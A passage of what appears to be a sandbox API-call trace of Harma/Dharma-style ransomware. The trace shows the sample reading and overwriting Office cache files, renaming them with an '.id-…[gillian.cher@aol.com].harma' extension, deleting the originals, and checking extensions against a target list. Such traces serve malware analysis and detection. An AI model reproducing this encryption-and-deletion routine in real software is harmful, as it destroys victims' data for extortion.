(lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 1 [0061.976] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0061.976] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc6c | out: lpNewFilePointer=0x0) returned 1 [0061.976] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc2c | out: lpNewFilePointer=0x0) returned 1 [0061.976] ReadFile (in: hFile=0x1e0, lpBuffer=0x3dc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3dc0058*, lpNumberOfBytesRead=0x35ffc38*=0x40000, lpOverlapped=0x0) returned 1 [0061.981] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x36ec00, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc2c | out: lpNewFilePointer=0x0) returned 1 [0061.983] ReadFile (in: hFile=0x1e0, lpBuffer=0x3e00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3e00058*, lpNumberOfBytesRead=0x35ffc38*=0x40000, lpOverlapped=0x0) returned 1 [0061.987] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x35ffc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0061.987] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0xa0c400, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc2c | out: lpNewFilePointer=0x0) returned 1 [0061.987] ReadFile (in: hFile=0x1e0, lpBuffer=0x3e40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3e40058*, lpNumberOfBytesRead=0x35ffc38*=0x40000, lpOverlapped=0x0) returned 1 [0062.007] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0062.007] WriteFile (in: hFile=0x1e0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x35ffcb0, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x35ffcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0062.449] SetEndOfFile (hFile=0x1e0) returned 1 [0062.449] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3f23170 [0062.449] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc7c | out: lpNewFilePointer=0x0) returned 1 [0062.449] WriteFile (in: hFile=0x1e0, lpBuffer=0x3f23170*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f23170*, lpNumberOfBytesWritten=0x35ffc88*=0x40000, lpOverlapped=0x0) returned 1 [0062.450] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x36ec00, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc7c | out: lpNewFilePointer=0x0) returned 1 [0062.450] WriteFile (in: hFile=0x1e0, lpBuffer=0x3f23170*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f23170*, lpNumberOfBytesWritten=0x35ffc88*=0x40000, lpOverlapped=0x0) returned 1 [0062.452] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0xa0c400, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc7c | out: lpNewFilePointer=0x0) returned 1 [0062.452] WriteFile (in: hFile=0x1e0, lpBuffer=0x3f23170*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f23170*, lpNumberOfBytesWritten=0x35ffc88*=0x40000, lpOverlapped=0x0) returned 1 [0062.457] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f23170 | out: hHeap=0x5a0000) returned 1 [0062.457] CloseHandle (hObject=0x1e0) returned 1 [0062.458] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0062.459] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0062.459] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0062.459] lstrlenW (lpString=".doc") returned 4 [0062.459] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0062.459] lstrlenW (lpString=".docx") returned 5 [0062.459] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0062.459] lstrlenW (lpString=".pdf") returned 4 [0062.459] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0062.459] lstrlenW (lpString=".xls") returned 4 [0062.459] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0062.459] lstrlenW (lpString=".xlsx") returned 5 [0062.459] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0062.459] lstrlenW (lpString=".ppt") returned 4 [0062.459] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0062.459] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0062.459] lstrlenW (lpString=".zip") returned 4 [0062.459] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0062.459] lstrlenW (lpString=".rar") returned 4 [0062.459] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0062.459] lstrlenW (lpString=".bz2") returned 4 [0062.459] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0062.460] lstrlenW (lpString=".7z") returned 3 [0062.460] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0062.460] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0062.460] lstrlenW (lpString=".dbf") returned 4 [0062.460] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0062.460] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0062.460] lstrlenW (lpString=".1cd") returned 4 [0062.460] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0062.460] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0062.460] lstrlenW (lpString=".jpg") returned 4 [0062.460] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0062.460] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0062.460] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0062.460] lstrlenW (lpString=".doc") returned 4 [0062.460] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0062.460] lstrlenW (lpString=".docx") returned 5 [0062.460] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0062.460] lstrlenW (lpString=".pdf") returned 4 [0062.460] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0062.460] lstrlenW (lpString=".xls") returned 4 [0062.460] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0062.460] lstrlenW (lpString=".xlsx") returned 5 [0062.460] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0062.460] lstrlenW (lpString=".ppt") returned 4 [0062.460] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0062.460] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0062.460] lstrlenW (lpString=".zip") returned 4 [0062.460] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0062.461] lstrlenW (lpString=".rar") returned 4 [0062.461] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0062.461] lstrlenW (lpString=".bz2") returned 4 [0062.461] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0062.461] lstrlenW (lpString=".7z") returned 3 [0062.461] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0062.461] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0062.461] lstrlenW (lpString=".dbf") returned 4 [0062.461] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0062.461] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0062.461] lstrlenW (lpString=".1cd") returned 4 [0062.461] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0062.461] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0062.461] lstrlenW (lpString=".jpg") returned 4 [0062.461] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0062.461] lstrcmpiW (lpString1=".exe", lpString2=".harma") returned -1 [0062.461] lstrlenW (lpString="ose.exe") returned 7 [0062.461] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0063.179] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x35fff1c | out: lpFileSize=0x35fff1c*=174440) returned 1 [0063.179] CloseHandle (hObject=0x200) returned 1 [0063.179] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0063.180] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0063.180] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0063.180] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0063.180] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0063.180] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0063.180] GetLastError () returned 0x0 [0063.180] ReadFile (in: hFile=0x200, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x35ffed4*=0x2a968, lpOverlapped=0x0) returned 1 [0063.186] WriteFile (in: hFile=0x214, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x35ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x35ffc9c*=0x2a970, lpOverlapped=0x0) returned 1 [0063.189] ReadFile (in: hFile=0x200, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x35ffed4*=0x0, lpOverlapped=0x0) returned 1 [0063.190] WriteFile (in: hFile=0x214, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x35ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x35ffc9c*=0xe2, lpOverlapped=0x0) returned 1 [0063.190] SetEndOfFile (hFile=0x214) returned 1 [0063.190] CloseHandle (hObject=0x214) returned 1 [0063.190] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0063.190] SetEndOfFile (hFile=0x200) returned 1 [0063.192] CloseHandle (hObject=0x200) returned 1 [0063.192] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0063.192] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1 [0063.193] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0063.193] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0063.193] lstrlenW (lpString=".doc") returned 4 [0063.193] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0063.193] lstrlenW (lpString=".docx") returned 5 [0063.193] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0063.193] lstrlenW (lpString=".pdf") returned 4 [0063.193] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0063.193] lstrlenW (lpString=".xls") returned 4 [0063.193] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0063.193] lstrlenW (lpString=".xlsx") returned 5 [0063.193] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0063.193] lstrlenW (lpString=".ppt") returned 4 [0063.193] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0063.193] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0063.193] lstrlenW (lpString=".zip") returned 4 [0063.193] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0063.193] lstrlenW (lpString=".rar") returned 4 [0063.193] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0063.193] lstrlenW (lpString=".bz2") returned 4 [0063.193] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0063.193] lstrlenW (lpString=".7z") returned 3 [0063.193] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0063.193] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0063.193] lstrlenW (lpString=".dbf") returned 4 [0063.193] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0063.193] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0063.193] lstrlenW (lpString=".1cd") returned 4 [0063.193] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0063.194] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0063.194] lstrlenW (lpString=".jpg") returned 4 [0063.194] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0063.194] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0063.194] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0063.194] lstrlenW (lpString=".doc") returned 4 [0063.194] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0063.194] lstrlenW (lpString=".docx") returned 5 [0063.194] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0063.194] lstrlenW (lpString=".pdf") returned 4 [0063.194] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0063.194] lstrlenW (lpString=".xls") returned 4 [0063.194] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0063.194] lstrlenW (lpString=".xlsx") returned 5 [0063.194] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0063.194] lstrlenW (lpString=".ppt") returned 4 [0063.194] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0063.194] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0063.194] lstrlenW (lpString=".zip") returned 4 [0063.194] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0063.194] lstrlenW (lpString=".rar") returned 4 [0063.194] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0063.194] lstrlenW (lpString=".bz2") returned 4 [0063.194] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0063.194] lstrlenW (lpString=".7z") returned 3 [0063.194] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0063.194] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0063.194] lstrlenW (lpString=".dbf") returned 4 [0063.194] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0063.195] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0063.195] lstrlenW (lpString=".1cd") returned 4 [0063.195] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0063.195] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0063.195] lstrlenW (lpString=".jpg") returned 4 [0063.195] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0063.195] lstrcmpiW (lpString1=".xrm-ms", lpString2=".harma") returned 1 [0063.195] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0063.195] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0063.195] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x35fff1c | out: lpFileSize=0x35fff1c*=715834) returned 1 [0063.195] CloseHandle (hObject=0x200) returned 1 [0063.199] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0063.199] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0063.199] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0063.199] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0063.199] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0063.199] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0063.199] GetLastError () returned 0x0 [0063.199] ReadFile (in: hFile=0x200, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x35ffed4*=0xaec3a, lpOverlapped=0x0) returned 1 [0063.216] WriteFile (in: hFile=0x214, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x35ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x35ffc9c*=0xaec40, lpOverlapped=0x0) returned 1 [0063.986] ReadFile (in: hFile=0x200, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x35ffed4*=0x0, lpOverlapped=0x0) returned 1 [0063.986] WriteFile (in: hFile=0x214, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x35ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x35ffc9c*=0x104, lpOverlapped=0x0) returned 1 [0063.986] SetEndOfFile (hFile=0x214) returned 1 [0064.232] CloseHandle (hObject=0x214) returned 1 [0064.232] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0064.232] SetEndOfFile (hFile=0x200) returned 1 [0064.245] CloseHandle (hObject=0x200) returned 1 [0064.245] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0064.246] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1 [0064.695] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0064.695] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0064.695] lstrlenW (lpString=".doc") returned 4 [0064.695] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0064.695] lstrlenW (lpString=".docx") returned 5 [0064.695] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0064.695] lstrlenW (lpString=".pdf") returned 4 [0064.695] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0064.695] lstrlenW (lpString=".xls") returned 4 [0064.695] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0064.695] lstrlenW (lpString=".xlsx") returned 5 [0064.695] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0064.695] lstrlenW (lpString=".ppt") returned 4 [0064.695] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0064.695] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0064.695] lstrlenW (lpString=".zip") returned 4 [0064.695] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0064.695] lstrlenW (lpString=".rar") returned 4 [0064.695] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0064.695] lstrlenW (lpString=".bz2") returned 4 [0064.695] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0064.695] lstrlenW (lpString=".7z") returned 3 [0064.695] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0064.695] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0064.696] lstrlenW (lpString=".dbf") returned 4 [0064.696] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0064.696] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0064.696] lstrlenW (lpString=".1cd") returned 4 [0064.696] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0064.696] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0064.696] lstrlenW (lpString=".jpg") returned 4 [0064.696] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0064.696] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0064.696] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0064.696] lstrlenW (lpString=".doc") returned 4 [0064.696] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0064.696] lstrlenW (lpString=".docx") returned 5 [0064.696] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0064.696] lstrlenW (lpString=".pdf") returned 4 [0064.696] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0064.696] lstrlenW (lpString=".xls") returned 4 [0064.696] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0064.696] lstrlenW (lpString=".xlsx") returned 5 [0064.696] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0064.696] lstrlenW (lpString=".ppt") returned 4 [0064.696] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0064.696] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0064.696] lstrlenW 